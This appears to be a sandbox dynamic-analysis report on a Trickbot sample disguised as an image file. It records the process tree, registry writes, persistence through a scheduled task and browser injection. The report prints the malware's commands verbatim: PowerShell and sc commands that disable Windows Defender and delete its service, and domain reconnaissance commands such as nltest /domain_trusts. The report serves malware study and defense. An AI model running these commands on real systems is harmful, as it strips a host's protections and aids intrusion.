Trickbot 2019-05-16 | Grouped Behavior
Logo
Try VMRay Analyzer
VTI SCORE: 100/100
Dynamic Analysis Report
Classification: Keylogger, Spyware, Backdoor, Trojan

radiance.png.exe

Windows Exe (x86-32)

Created at 2019-05-16T17:08:00

...

Remarks (2/3)

(0x2000008): One or more processes crashed during the analysis. Analysis results may be incomplete.

(0x200000e): The overall sleep time of all monitored processes was truncated from "21 hours, 36 minutes, 10 seconds" to "1 minute, 34 seconds" to reveal dormant functionality.

(0x200003a): A task was rescheduled ahead of time to reveal dormant functionality.

Grouped Sequential

Remarks

(0x200000c): The maximum memory dump size was exceeded. Some dumps may be missing in the report.

(0x200001f): Code in memory was overwritten during this analysis. Review corresponding VTI for more info.

Monitored Processes

Process Graph

Process Graph Legend
Process Overview
»
ID PID Monitor Reason Integrity Level Image Name Command Line Origin ID
#1 0xd50 Analysis Target Medium radiance.png.exe "C:\Users\2XC7u663GxWc\Desktop\radiance.png.exe" -
#2 0xd6c Child Process Medium cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableRealtimeMonitoring $true #1
#3 0xd78 Child Process Medium cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop WinDefend #1
#4 0xd94 Child Process Medium cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete WinDefend #1
#5 0xdc0 Child Process Medium sc.exe sc delete WinDefend #4
#6 0xdc8 Child Process Medium sc.exe sc stop WinDefend #3
#7 0xdd0 Child Process Medium powershell.exe powershell Set-MpPreference -DisableRealtimeMonitoring $true #2
#8 0xeb8 Child Process Medium cmd.exe /c sc stop WinDefend #1
#9 0xed0 Child Process Medium sc.exe sc stop WinDefend #8
#10 0xedc Child Process Medium cmd.exe /c sc delete WinDefend #1
#11 0xeec Child Process Medium cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true #1
#12 0xf04 Child Process Medium powershell.exe powershell Set-MpPreference -DisableRealtimeMonitoring $true #11
#13 0xf14 Child Process Medium sc.exe sc delete WinDefend #10
#14 0xf84 RPC Server High (Elevated) dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} #1
#15 0xfac Child Process High (Elevated) tadiapce.exe "C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\tadiapce.exe" #14
#16 0xfc4 Child Process High (Elevated) cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableRealtimeMonitoring $true #15
#17 0xfd8 Child Process High (Elevated) cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop WinDefend #15
#18 0xffc Child Process High (Elevated) cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete WinDefend #15
#19 0x81c Child Process High (Elevated) powershell.exe powershell Set-MpPreference -DisableRealtimeMonitoring $true #16
#20 0x83c Child Process High (Elevated) sc.exe sc stop WinDefend #17
#21 0x8e4 Child Process High (Elevated) sc.exe sc delete WinDefend #18
#23 0x914 Created Scheduled Job System (Elevated) taskeng.exe taskeng.exe {E6ACF615-28B7-4794-9E2D-7B8DC4832D2F} S-1-5-18:NT AUTHORITY\System:Service: #15
#24 0x214 Child Process System (Elevated) tadiapce.exe C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\tadiapce.exe #23
#26 0x22c Child Process System (Elevated) cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableRealtimeMonitoring $true #24
#27 0x7dc Child Process System (Elevated) cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop WinDefend #24
#28 0x3ac Child Process System (Elevated) powershell.exe powershell Set-MpPreference -DisableRealtimeMonitoring $true #26
#29 0x394 Child Process System (Elevated) cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete WinDefend #24
#30 0x8a0 Child Process System (Elevated) sc.exe sc stop WinDefend #27
#31 0x9a0 Child Process System (Elevated) sc.exe sc delete WinDefend #29
#33 0x4d8 Child Process Medium svchost.exe svchost.exe #24
#34 0xa60 Child Process Medium svchost.exe svchost.exe #24
#35 0x110 Child Process System (Elevated) svchost.exe svchost.exe #24
#36 0xc38 Injection Medium iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" -nohome #35
#37 0xc94 Injection Medium iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3128 CREDAT:14337 #35
#38 0x6d8 Child Process Medium svchost.exe svchost.exe #24
#40 0xa70 Child Process Medium svchost.exe svchost.exe #24
#43 0x3ec Child Process Medium cmd.exe /c ipconfig /all #40
#44 0xcf4 Child Process Medium ipconfig.exe ipconfig /all #43
#45 0xb28 Child Process Medium svchost.exe svchost.exe #24
#47 0xa50 Child Process Medium cmd.exe /c net config workstation #40
#48 0xd4c Child Process Medium net.exe net config workstation #47
#49 0x3dc Child Process Medium net1.exe C:\Windows\system32\net1 config workstation #48
#50 0xda0 Child Process Medium svchost.exe svchost.exe #24
#51 0xbb4 Child Process Medium cmd.exe /c net view /all #40
#53 0x748 Child Process System (Elevated) svchost.exe svchost.exe #24
#54 0xd70 Child Process Medium cmd.exe /c net view /all /domain #40
#56 0xed0 Child Process Medium cmd.exe /c nltest /domain_trusts #40
#58 0xf1c Child Process Medium cmd.exe /c nltest /domain_trusts /all_trusts #40

Behavior Information - Grouped by Category

Process #1: radiance.png.exe
864 0
»
Information Value
ID #1
File Name c:\users\2xc7u663gxwc\desktop\radiance.png.exe
Command Line "C:\Users\2XC7u663GxWc\Desktop\radiance.png.exe"
Initial Working Directory C:\Users\2XC7u663GxWc\Desktop\
Monitor Start Time: 00:00:16, Reason: Analysis Target
Unmonitor End Time: 00:00:57, Reason: Self Terminated
Monitor Duration 00:00:40
OS Process Information
»
Information Value
PID 0xd50
Parent PID 0x61c (c:\windows\explorer.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x D54
0x D5C
0x D60
0x D64
0x D68
0x D74
0x D80
0x E34
0x F34
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
radiance.png.exe 0x00400000 0x00448FFF Relevant Image - 32-bit - False False
...
buffer 0x00150000 0x00151FFF First Execution - 32-bit 0x00151140, 0x001512D0, ... False False
...
buffer 0x003C0000 0x003C0FFF First Execution - 32-bit 0x003C0000 False False
...
buffer 0x00450000 0x00450FFF First Execution - 32-bit 0x00450000 False False
...
buffer 0x01A60000 0x01A8AFFF First Execution - 32-bit 0x01A77D1F, 0x01A78A78, ... False False
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\2XC7u663GxWc\Desktop\radiance.png.exe 250.00 KB MD5: 5c163d92cb7b0b913b1e9fce3e179477
SHA1: 574aa8b8d8bc98cda8038f8a5084d36367e4ce82
SHA256: c8781c38c7a9b921049963a276513cf6057d85766e7517ff5eb6e4bc4d0c397b
SSDeep: 6144:Kz0qq/ZdqMwdoXqTHBgVkVWp0UhmMNYWZ:vXqTHBguVdKmMCW 		False
...
Modified Files
»
Filename File Size Hash Values YARA Match Actions
c:\users\2xc7u663gxwc\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-3727408139-63090477-3136880571-1000\a7ad97fe866c7f48db63edede97b2b9b_3912d7c0-2df4-4798-9de9-c60c58f001d5 1.03 KB MD5: 6a60611fe15b070e3e11b53bc3d9dc87
SHA1: 784e344f476e13ff693271bc985c40049afc1b9a
SHA256: f7ccc163182308202c4c59dc5c6443be6df032ed5ec80f248ca0b4b61825898a
SSDeep: 24:e0Kf5b6UwZYeKrPH4I4slxMm/rCnZwp5MVsJHjZ9:Wb6UwZhKrT4AxMM2Zwp2VsBjD 		False
...
c:\users\2xc7u663gxwc\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-3727408139-63090477-3136880571-1000\a7ad97fe866c7f48db63edede97b2b9b_3912d7c0-2df4-4798-9de9-c60c58f001d5 1.03 KB MD5: 87a4844794b4d8228031077194c5f62d
SHA1: eb5b65b9fa18579b870d91d0b7b340b939b42946
SHA256: 714e64be4710d49ecc8995a532b080cd9af9ab9bc677d42b5ca22a003abf89de
SSDeep: 24:e0Kf5b6UwfxF1wX6U2VMf0kYknnfvzkM9SSwZ+rciXMParI13owlmTbV6jE:Wb6UwfxEX6U2VMUknnDkLhZLi8PSI14b 		False
...
Host Behavior
File (8)
»
Operation Filename Additional Information Success Count Logfile
Create Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata - True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type False 3
Fn
Open STD_INPUT_HANDLE - True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Open STD_ERROR_HANDLE - True 1
Fn
Copy C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\tadiapce.exe source_filename = C:\Users\2XC7u663GxWc\Desktop\radiance.png.exe True 1
Fn
Registry (13)
»
Operation Key Additional Information Success Count Logfile
Create Key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender - False 1
Fn
Create Key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender - False 2
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications - False 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender value_name = DisableAntiSpyware, size = 4, type = REG_DWORD_LITTLE_ENDIAN False 2
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value_name = DisableBehaviorMonitoring, size = 4, type = REG_DWORD_LITTLE_ENDIAN False 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value_name = DisableOnAccessProtection, size = 4, type = REG_DWORD_LITTLE_ENDIAN False 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value_name = DisableOnRealtimeEnable, size = 4, type = REG_DWORD_LITTLE_ENDIAN False 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value_name = DisableIOAVProtection, size = 4, type = REG_DWORD_LITTLE_ENDIAN False 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications value_name = DisableNotifications, size = 4, type = REG_DWORD_LITTLE_ENDIAN False 1
Fn
Process (158)
»
Operation Process Additional Information Success Count Logfile
Create cmd show_window = SW_HIDE True 1
Fn
Create cmd show_window = SW_HIDE True 1
Fn
Create cmd show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xeb8, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xedc, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xeec, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Enumerate Processes - - True 149
Fn
Enumerate Processes - - False 3
Fn
Module (38)
»
Operation Module Additional Information Success Count Logfile
Load Crypt32.dll base_address = 0x75610000 True 4
Fn
Load kernel32.dll base_address = 0x76b10000 True 2
Fn
Load advapi32.dll base_address = 0x774c0000 True 2
Fn
Load shell32.dll base_address = 0x75bb0000 True 1
Fn
Load ntdll.dll base_address = 0x77330000 True 1
Fn
Load KERNEL32.dll base_address = 0x0 True 1
Fn
Get Handle c:\users\2xc7u663gxwc\desktop\radiance.png.exe base_address = 0x400000 True 5
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 1
Fn
Get Filename - process_name = c:\users\2xc7u663gxwc\desktop\radiance.png.exe, file_name_orig = C:\Users\2XC7u663GxWc\Desktop\radiance.png.exe, size = 255 True 1
Fn
Get Filename KERNEL32.dll process_name = c:\users\2xc7u663gxwc\desktop\radiance.png.exe, file_name_orig = C:\Users\2XC7u663GxWc\Desktop\radiance.png.exe, size = 260 True 1
Fn
Get Address c:\users\2xc7u663gxwc\desktop\radiance.png.exe function = ___CPPdebugHook, address_out = 0x40e13c True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcAddress, address_out = 0x76b633d3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Borland32, address_out = 0x0 False 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CryptStringToBinaryA, address_out = 0x75645d77 True 4
Fn
Get Address c:\windows\system32\kernel32.dll function = Wow64EnableWow64FsRedirection, address_out = 0x76b98bc9 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegCloseKey, address_out = 0x774d469d True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegCreateKeyW, address_out = 0x774d1514 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegOpenKeyExW, address_out = 0x774d468d True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegSetValueExW, address_out = 0x774d14d6 True 1
Fn
Get Address c:\windows\system32\shell32.dll function = ShellExecuteA, address_out = 0x75df7078 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptAcquireContextA, address_out = 0x774c91dd True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptImportKey, address_out = 0x774cc532 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptEncrypt, address_out = 0x774e779b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualAlloc, address_out = 0x76b62fb6 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = memcpy, address_out = 0x77364cc0 True 1
Fn
Service (7)
»
Operation Additional Information Success Count Logfile
Get Info service_name = WinDefend True 1
Fn
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 3
Fn
Window (1)
»
Operation Window Name Additional Information Success Count Logfile
Create Squirrel Shootout by Brenton Andrew Saunders class_name = Squirrel Shootout by Brenton Andrew Saunders, wndproc_parameter = 0 True 1
Fn
Keyboard (111)
»
Operation Additional Information Success Count Logfile
Read virtual_key_code = VK_NUMLOCK, result_out = 1 True 31
Fn
Read virtual_key_code = VK_LEFT, result_out = 0 True 10
Fn
Read virtual_key_code = VK_RIGHT, result_out = 0 True 10
Fn
Read virtual_key_code = VK_SPACE, result_out = 0 True 10
Fn
Read virtual_key_code = VK_RETURN, result_out = 0 True 10
Fn
Read virtual_key_code = VK_NUMPAD4, result_out = 0 True 10
Fn
Read virtual_key_code = VK_NUMPAD6, result_out = 0 True 10
Fn
Read virtual_key_code = VK_ADD, result_out = 0 True 10
Fn
Read virtual_key_code = VK_SUBTRACT, result_out = 0 True 10
Fn
System (514)
»
Operation Additional Information Success Count Logfile
Sleep duration = 1 milliseconds (0.001 seconds) True 256
Fn
Sleep duration = 50 milliseconds (0.050 seconds) True 1
Fn
Sleep duration = 3 milliseconds (0.003 seconds) True 1
Fn
Sleep duration = 1000 milliseconds (1.000 seconds) True 2
Fn
Sleep duration = 500 milliseconds (0.500 seconds) True 1
Fn
Get Time type = Ticks, time = 10878152 True 129
Fn
Get Time type = Ticks, time = 10878168 True 120
Fn
Get Info type = Operating System True 1
Fn
Get Info type = System Directory, result_out = C:\Windows\system32 True 1
Fn
Get Info type = Hardware Information True 1
Fn
Get Info type = Windows Directory, result_out = C:\Windows True 1
Fn
Environment (1)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 1
Fn
Data
Process #2: cmd.exe
60 0
»
Information Value
ID #2
File Name c:\windows\system32\cmd.exe
Command Line "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
Initial Working Directory C:\Users\2XC7u663GxWc\Desktop\
Monitor Start Time: 00:00:26, Reason: Child Process
Unmonitor End Time: 00:00:45, Reason: Self Terminated
Monitor Duration 00:00:19
OS Process Information
»
Information Value
PID 0xd6c
Parent PID 0xd50 (c:\users\2xc7u663gxwc\desktop\radiance.png.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x D70
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\2XC7u663GxWc\Desktop type = file_attributes True 2
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 232, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe os_pid = 0xdd0, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a050000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\System32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:30:40 (UTC) True 1
Fn
Get Time type = Ticks, time = 10879119 True 1
Fn
Get Time type = Performance Ctr, time = 10100670165 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\2XC7u663GxWc\Desktop True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000001 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #3: cmd.exe
60 0
»
Information Value
ID #3
File Name c:\windows\system32\cmd.exe
Command Line "C:\Windows\System32\cmd.exe" /c sc stop WinDefend
Initial Working Directory C:\Users\2XC7u663GxWc\Desktop\
Monitor Start Time: 00:00:26, Reason: Child Process
Unmonitor End Time: 00:00:28, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xd78
Parent PID 0xd50 (c:\users\2xc7u663gxwc\desktop\radiance.png.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x D7C
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\2XC7u663GxWc\Desktop type = file_attributes True 2
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 120, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\sc.exe os_pid = 0xdc8, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a050000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\System32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:30:40 (UTC) True 1
Fn
Get Time type = Ticks, time = 10879275 True 1
Fn
Get Time type = Performance Ctr, time = 10116240974 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\2XC7u663GxWc\Desktop True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000005 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #4: cmd.exe
60 0
»
Information Value
ID #4
File Name c:\windows\system32\cmd.exe
Command Line "C:\Windows\System32\cmd.exe" /c sc delete WinDefend
Initial Working Directory C:\Users\2XC7u663GxWc\Desktop\
Monitor Start Time: 00:00:26, Reason: Child Process
Unmonitor End Time: 00:00:28, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xd94
Parent PID 0xd50 (c:\users\2xc7u663gxwc\desktop\radiance.png.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x D98
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\2XC7u663GxWc\Desktop type = file_attributes True 2
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 128, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
